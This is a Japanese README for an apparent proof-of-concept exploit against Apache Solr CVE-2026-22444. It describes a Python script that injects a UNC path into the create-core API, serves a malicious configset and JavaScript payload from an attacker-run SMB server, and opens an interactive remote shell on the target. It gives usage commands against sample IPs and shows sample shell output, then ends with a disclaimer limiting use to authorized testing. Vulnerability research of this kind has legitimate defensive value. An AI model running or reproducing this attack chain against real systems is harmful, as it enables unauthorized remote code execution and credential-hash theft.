
Apache Solr CVE-2026-22444 のエクスプロイト。UNC パスインジェクションと SMB サーバーを活用し、悪意のある configset と JavaScript ペイロードを介してリモートコード実行を実現します。
Apache Solr UNC パス検証の脆弱性
CVE-2026-22444 は Apache Solr に影響を与えるセキュリティ脆弱性であり、2026 年 1 月 20 日頃に公開されました。この脆弱性は、Apache Solr の "create core" API における一部の API パラメータの入力検証不足(CWE-20: Improper Input Validation)に起因し、攻撃者が Solr が "standalone" モードで実行されている場合にセキュリティルールを回避できる可能性があり、データ漏洩、リモートコード実行(RCE)、または NTLM ハッシュの開示につながる可能性があります。
具体的には、Solr で認証が有効になっていない場合、またはユーザーがコア作成権限を持っている場合、攻撃者は巧妙に細工されたリクエストを介してこの API を悪用し、保護されたファイルにアクセスしたり、悪意のある操作を実行したりする可能性があります。
この脆弱性は 2025 年に発見され Apache に報告され、oss-security メーリングリストで公開されました:
公式発表: https://www.openwall.com/lists/oss-security/2026/01/20/5
この脆弱性は CoreContainer.java に存在し、CoreDescriptor コンストラクタが UNC パス検証を実行する前にネットワーク操作をトリガーします:
instancePath.toAbsolutePath() はネットワーク経由で UNC パスを解決する可能性がありますFiles.exists() チェックはネットワーク呼び出しを実行しますFiles.newInputStream() はネットワーク読み取りを実行しますassertPathAllowed() によるパス検証は、これらの操作の後にのみ発生しますexploit.py - 概念実証エクスプロイトスクリプトfiles/ - エクスプロイトに必要なサポートファイル(configset)
rce.js - リモートコード実行 JavaScript ペイロードconf/ - Solr 設定ファイル
solrconfig.xml - 悪意のある更新プロセッサチェーンを定義schema.xml - Solr スキーマ定義managed-schema - 管理対象スキーマファイルrequirements.txt - Python 依存関係pip install -r requirements.txt
依存関係には以下が含まれます:
requests>=2.25.0 - HTTP リクエスト用impacket>=0.10.0 - SMB サーバー作成用python3 exploit.py <ターゲットIP>
例:
python3 exploit.py 192.168.1.100
python3 exploit.py <ターゲットIP> --port <ポート>
例:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <ターゲットIP> --smb-host <SMBサーバーIP> --smb-port <SMBポート>
例:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <ターゲットIP> --share-name <共有名>
例:
python3 exploit.py 192.168.1.100 --share-name myshare
位置引数:
target_host ターゲット Solr サーバーの IP アドレス
オプション引数:
-h, --help ヘルプメッセージを表示して終了
--port, -p PORT Solr サーバーのポート(デフォルト:8983)
--smb-host SMB_HOST SMB サーバーの IP(デフォルト:ローカル IP を自動検出)
--smb-port SMB_PORT SMB サーバーのポート(デフォルト:445)
--share-name SHARE SMB 共有名(デフォルト:malicious)
files ディレクトリを共有しますエクスプロイト成功後、スクリプトは対話型シェルを提供します:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
サポートされているコマンド:
exit または quit - 対話型シェルを終了Ctrl+C - 中断して終了この脆弱性は以下の技術チェーンを利用します:
configSet パラメータを介して UNC パス(例://attacker-ip/share)を注入しますStatelessScriptUpdateProcessorFactory を利用して JavaScript コードを実行しますpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # メインエクスプロイトスクリプト
├── requirements.txt # Python 依存関係
├── files/ # 悪意のある configset
│ ├── rce.js # RCE JavaScript ペイロード
│ └── conf/ # Solr 設定ディレクトリ
│ ├── solrconfig.xml # 悪意のある更新プロセッサを設定
│ ├── schema.xml # スキーマ定義
│ └── managed-schema # 管理対象スキーマ
└── README.md # このファイル
rce.js:これはコアとなる RCE ペイロードであり、以下のことを行います:
cmd パラメータを取得しますsolrconfig.xml:Solr が悪意のある更新プロセッサチェーンを使用するように設定します:
rce-chain 更新プロセッサチェーンを定義しますrce.js スクリプトを参照します/update リクエストプロセッサがこのチェーンを使用するように設定します⚠️ 警告:このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください。許可なくこのツールを使用してシステムを攻撃することは違法です。
このプロジェクトは MIT ライセンスに従います。詳細については LICENSE ファイルを参照してください。
このツールと情報は、セキュリティ研究および教育目的のみを対象としています。作者は、この情報またはツールの悪用によって生じたいかなる損害についても責任を負いません。使用者は、該当するすべての法律および規制を遵守し、使用前に適切な許可を取得する必要があります。